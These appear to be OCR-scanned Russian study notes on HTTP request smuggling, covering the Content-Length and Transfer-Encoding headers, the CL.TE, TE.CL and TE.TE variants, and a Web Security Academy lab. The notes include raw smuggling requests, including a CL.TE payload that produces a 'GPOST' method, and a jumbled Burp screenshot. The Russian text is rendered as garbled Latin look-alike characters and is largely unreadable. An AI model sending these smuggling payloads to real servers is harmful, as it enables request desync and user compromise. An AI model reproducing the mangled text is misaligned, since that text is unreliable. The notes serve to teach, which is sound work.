HTTP request smuggling

BHeppeHne B nocnepnoBaTenbHOCTL http 3anpocos. MoxeT 6bITb KpuTuU4HOM ana HTTP/1, moxeT
paboTaTb 1 ansa HTTP/2 KpnuTnyeckas ysi3BMMOCTb, MO3BOJIAOLLLAS MOJYYUTb AOCTYM K AAaHHbIM U
CKOMMPOMEHTNPOBaTb MOJib30BaTEsIEN.

Mpu apxuTtekType proxy/load balancer -> backend, 6anaHCMPOBLINKOM OTNPABASETCA HECKOJIbKO
3anpocoB Ha 63K. 3anpocbl OTANPaBAATCA NocnenoBaTenbLHO, N 63k 0653aH onpepenaTb rae
3aKaH4YMBaeTCHA OAMH N HAaYMHaeTCa cnenyouwnn.
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Ba>kHO, 4T06bl POHT 1 63K COrnacoBasiv rpaHnLbl Mexay 3anpocamn. MHavye MO)XHO OTNPaBUTb
HeOoQHO3Ha4YHbIN 3aNpoC, KOTOPbIN ByAeT Mo-pa3HOMY MHTEPNPEeTUPOBaH MHTEPHENCHON U
CepBEPHON CcUCTeEMaMu
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970 paboTaeT, nockosbky B HTTP/1 ecTb ABa BapmaHTa onpenesieHns 3aBepLieHns 3anpoca:
3aronoBku Content-Length n Transfer-Encoding. Content-Length 310 gnavHa coobweHuns B banTtax.

POST /search HTTP/1.1

Host: normal-website.com
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Content-Type: application/x-www-form-urlencoded

Content-Length: 11

g=smuggling

Transfer-Encoding o3Ha4aeT, 4TO TEKCT COObLEHNS COAEPXKUT OANH UIIN HECKOJIbKO (hparMeHTOB
OaHHbIX. Ka)KOblh hparMeHT CoOAepXUT pa3Mep pparMeHTa B 6banTax, nepeBos Ha HOBYIO CTPOKY,
caM pparmMeHT. CoobueHne 3aBeplaeTca 0 paamepom hparmeHTa.

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded

Transfer-Encoding: chunked

b
g=smuggling
0

Bpay3epbl He oTnpaBasatoT Transfer-Encoding 3anpockl, 3TO aKTyasibHO OJ19 MeXXCEePBEPHOro
B3aMMOOeNnCcTBMUA. TaK Kak BO3MOXXHO [Ba BapuaHTa, B 04HOM COOBLLEHNN MOXHO NCMNOJIb30BaTb
oba 3arosioBka, Kak byaTo 6bl OHM KOHPNKTYIOT. Transfer-Encoding npnopuTeTHee, MO3TOMY
Content-Length nrHopupyeTtcs. 910 3¢pheKTMBHO ecnm oanH 63K, eCnm HECKOJIbKO - mpobnema:

e HEKOTOpPbIE CEPBEPbLI HE NOALEPXMBAIOT 3arosoBok Transfer-Encoding
e MOFYyT NoAAep>XnBaTb, HO He 0bpaboTaTb €ro, ecain 3arosIoBOK 3anyTaH.

Ecnn ¢poHT 1 63K no-pa3Homy BeayT cebsa npu obpaboTke 3aronoska Transfer-Encoding, To moryT
rnepenyTaTbCA rpaHuLbl 3anpocoB. Koraa dpoHT HTTP/2, a 63k HTTP/1 (HTTP downgrading), To
oyneTt npeobpasoBaHne HopMaTOB.

BekTop aTakm

Bpay3epbl n gpyrue KAneHTbl, BKAO4Yaa Burp, ncnonesytoT http/2 no ymonyvanuio. Nostomy B Burp
Heobxoaumo BkNo4UNTb http/1 (Inspector -> Request attributes).
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Knaccuka: otnpaska http/l ¢ oBymsa 3aronoskamMun. ®uHanbHaa peasansaumns 3aBUCUT OT (PPOHTa U
63kKa:

e TE.CL: opoHT ucnonb3yeT Transfer-Encoding, 63k Content-Length

e TE.TE: poHT 1 63K ncnonbsytT Transfer-Encoding, HO 0ANH K3 HKUX He obpabaTbiBaeT
ero B CBA3n ¢ obyckaymen

CL.TE: dbpoHT ncnonbsyet Content-Length, 63k Transfer-Encoding

Mpumep 3anpoca:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13

Transfer-Encoding: chunked

SMUGGLED
Onsa peweHns nabopatopHon paboThl NpepnaraeTcs OTNPaBUTbL 3aNpocC BuAa

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 6

Transfer-Encoding: chunked
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M3-3a TOro, 4TO CcepBep He NoAAep KMBaeT MeToA gpost, OH JOJIXKEH BEPHYTb OWNbKy nocne
BTOPOW OTNpaBKK 3amnpoca.
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1 POST § HTTR/1.1 1 HTTP/1l.1 403 Forbidden

2 Host: 2 Content-Type: application/json: charset=utf-&
0asfoobfO325df 95821 cO0FefO04200cS, web-security 5 ¥-Frame-Options: SAMEORIGIN
-academy . net 4 Connection: close

5 Content-Type: c Content-Length: 27
application/x-www-form-urlencoded &

4 Content-Length: & 7 "Unrecognized method GPOST"

c, Transfer-Encoding: chunked
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MpaBna noyemy content-length: 6 - HessicHo. Bo3amMo)xHO nepesopn cTpokn - 1, 0 - 2, nepesof - 1, G -
2
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